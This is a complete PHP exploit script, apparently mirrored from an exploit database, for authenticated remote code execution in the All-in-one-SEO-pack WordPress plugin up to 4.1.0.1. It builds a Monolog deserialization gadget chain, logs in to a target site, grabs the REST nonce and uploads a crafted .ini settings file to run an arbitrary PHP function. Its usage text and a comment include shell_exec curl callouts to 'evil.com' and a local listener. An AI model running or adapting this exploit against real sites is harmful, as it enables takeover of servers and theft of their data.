Share
## https://sploitus.com/exploit?id=WPEX-ID:AB2C94D2-F6C4-418B-BD14-711ED164BCF1
<?php

/**
    All-in-one-seo-pack wordpress plugin <= 4.1.0.1 authenticated RCE 
    Author: Vincent MICHEL (@darkpills)

    Dev notes:
    - Exploit strategy inspiration from https://wpscan.com/vulnerability/10320
    - Monolog gadget adapted from phpggc Monolog/RCE1
    - Copy/pasted PHPGGC encoding function
*/

// from phpggc Monolog/RCE1 with custom namespace prefix "AIOSEO\Vendor\" to match all-in-one-seo-pack plugin
// ./phpggc -a Monolog/RCE1 shell_exec 'curl http://localhost:4444' 
namespace AIOSEO\Vendor\Monolog\Handler
{
    class SyslogUdpHandler
    {
        protected $socket;

        function __construct($x)
        {
            $this->socket = $x;
        }
    }

    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;
        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $initialized = true;
        # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
        protected $bufferLimit = -1;
        protected $processors;

        function __construct($methods, $command)
        {
            $this->processors = $methods;
            $this->buffer = [$command];
            $this->handler = clone $this;
        }
    }
}

namespace {

    // Quick and dirty HTTP request call class
    class Request {

        protected $base_url;
        protected $cookiejar;
        protected $proxy_host;
        protected $proxy_port;

        public function __construct($base_url, $proxy = null) {

            $this->base_url = $base_url;
            $this->cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-');

            if ($proxy) {
                $proxy_array = explode(":", $proxy);
                $this->proxy_host = $proxy_array[0];
                $this->proxy_port = $proxy_array[1];    
            }
        }

        public function do($uri, $post = null, $headers = array()) {
            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $this->base_url. $uri);
            curl_setopt($ch, CURLOPT_COOKIEJAR, $this->cookiejar);
            curl_setopt($ch, CURLOPT_COOKIEFILE, $this->cookiejar);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            //curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            //curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

            if ($this->proxy_host && $this->proxy_port) { 
                curl_setopt($ch, CURLOPT_PROXY, $this->proxy_host);
                curl_setopt($ch, CURLOPT_PROXYPORT, $this->proxy_port);
            }

            if ($headers) {
                curl_setopt( $ch, CURLOPT_HTTPHEADER, $headers);    
            }

            if ($post) {
                curl_setopt($ch, CURLOPT_POST, true);
                curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            }

            $content = curl_exec($ch);

            if(curl_errno($ch))
            {
                throw new Exception(sprintf("HTTP Error: %s", curl_error($ch)));
            }

            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            if ($http_code == 403) {
                throw new Exception(sprintf("HTTP Error: %d: %s\nMake sure you are connected with admin privileges", $http_code, $content));                
            } else if ($http_code >= 400) {
                throw new Exception(sprintf("HTTP Error: %d: %s", $http_code, $content));
            }

            curl_close($ch);

            return $content;
        }

    }

    // Special characters encoding function from phpggc/lib/PHPGGC/Enhancement$ cat ASCIIStrings.php
    function process_serialized($serialized)
    {
        $new = '';
        $last = 0;
        $current = 0;
        $pattern = '#\bs:([0-9]+):"#';

        while(
            $current < strlen($serialized) &&
            preg_match(
                $pattern, $serialized, $matches, PREG_OFFSET_CAPTURE, $current
            )
        )
        {

            $p_start = $matches[0][1];
            $p_start_string = $p_start + strlen($matches[0][0]);
            $length = $matches[1][0];
            $p_end_string = $p_start_string + $length;

            # Check if this really is a serialized string
            if(!(
                strlen($serialized) > $p_end_string + 2 &&
                substr($serialized, $p_end_string, 2) == '";'
            ))
            {
                $current = $p_start_string;
                continue;
            }
            $string = substr($serialized, $p_start_string, $length);
            
            # Convert every special character to its S representation
            $clean_string = '';
            for($i=0; $i < strlen($string); $i++)
            {
                $letter = $string[$i];
                $clean_string .= ctype_print($letter) && $letter != '\\' ?
                    $letter :
                    sprintf("\\%02x", ord($letter));
                ;
            }

            # Make the replacement
            $new .= 
                substr($serialized, $last, $p_start - $last) .
                'S:' . $matches[1][0] . ':"' . $clean_string . '";'
            ;
            $last = $p_end_string + 2;
            $current = $last;
        }

        $new .= substr($serialized, $last);
        return $new;
    }

    // Banner
    echo "-- All-in-one-seo-pack <= 4.1.0.1 authenticated admin RCE --".PHP_EOL;
    echo "-- Exploit by Vincent MICHEL (@darkpills) --".PHP_EOL.PHP_EOL;

    // Check args
    if ($argc < 6) {
        echo sprintf("Usage: php %s url login password php_command arguments [proxy]", $argv[0]).PHP_EOL;
        echo sprintf("Example: php %s https://mywordpress.site.com admin admin shell_exec 'curl http://evil.com/'", $argv[0]).PHP_EOL;
        exit(1);
    }

    // Check dependencies
    if (!extension_loaded("curl")) {
        echo "Extension php-curl not loaded!".PHP_EOL;
        exit(1);
    }

    // Settings
    $wp_url = $argv[1];
    $wp_user = $argv[2];
    $wp_pass = $argv[3];
    $function = $argv[4];
    $parameter = $argv[5];
    $proxy = isset($argv[6]) ? $argv[6] : null;

    $request = new Request($wp_url, $proxy);

    try {
        // 1) Log in as admin
        echo sprintf("[+] Authenticating to wordpress %s", $wp_url).PHP_EOL;
        $request->do("/wp-login.php", [
            'log'        => $wp_user,
            'pwd'        => $wp_pass,
            'rememberme' => 'forever',
            'wp-submit'  => 'Log+In',
        ]);

        // 2) GET REST Nonce
        echo "[+] Getting WP REST API nonce".PHP_EOL;
        $content = $request->do("/wp-admin/post-new.php");
        preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches);
        if (!isset($matches[1])) {
            echo sprintf("[!] Nonce not found, are you connected?").PHP_EOL;
            exit(1);    
        }
        $restnonce = $matches[1];
        echo sprintf("[+] Nonce found: %s", $restnonce).PHP_EOL;

        // 3) Upload file to trigger RCE
        echo sprintf("[+] Generating POST payload to execute command: %s(\"%s\")", $function, $parameter).PHP_EOL;
        // Create the POST payload template
        $boundary = uniqid();
        $postData = "";
        $postData .= "------WebKitFormBoundary".$boundary ."\r\n";
        $postData .= "Content-Disposition: form-data; name=\"file\"; filename=\"test.ini\"\r\n";
        $postData .= "Content-Type: application/octet-stream\r\n";
        $postData .= "\r\n";
        $postData .= "[Test]\r\n";
        $postData .= "test='%s'\r\n";
        $postData .= "\r\n";
        $postData .= "------WebKitFormBoundary".$boundary ."--\r\n";

        // Create the gadget chain object
        $gadgetChain = new \AIOSEO\Vendor\Monolog\Handler\SyslogUdpHandler(
            new \AIOSEO\Vendor\Monolog\Handler\BufferHandler(
                ['current', $function],
                [$parameter, 'level' => null]
            )
        );

        // Serialize the object, encode the string, and populate the POST template
        $postData = sprintf($postData, process_serialized(serialize($gadgetChain)));

        // Append in HTTP headers wordpress nonce from previous request in
        $headers = array(
            "X-WP-Nonce: $restnonce", 
            "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" . $boundary
        );
        echo "[+] Uploading ini file with import settings".PHP_EOL;
        $content = $request->do("/index.php/wp-json/aioseo/v1/settings/import/", $postData, $headers);
        echo "[+] Done! Check the result somewhere (blind command execution)".PHP_EOL;

        exit(0);

    } catch (Exception $e) {
        echo sprintf("[!] Error: %s", $e->getMessage()).PHP_EOL;
        exit(1);
    }
}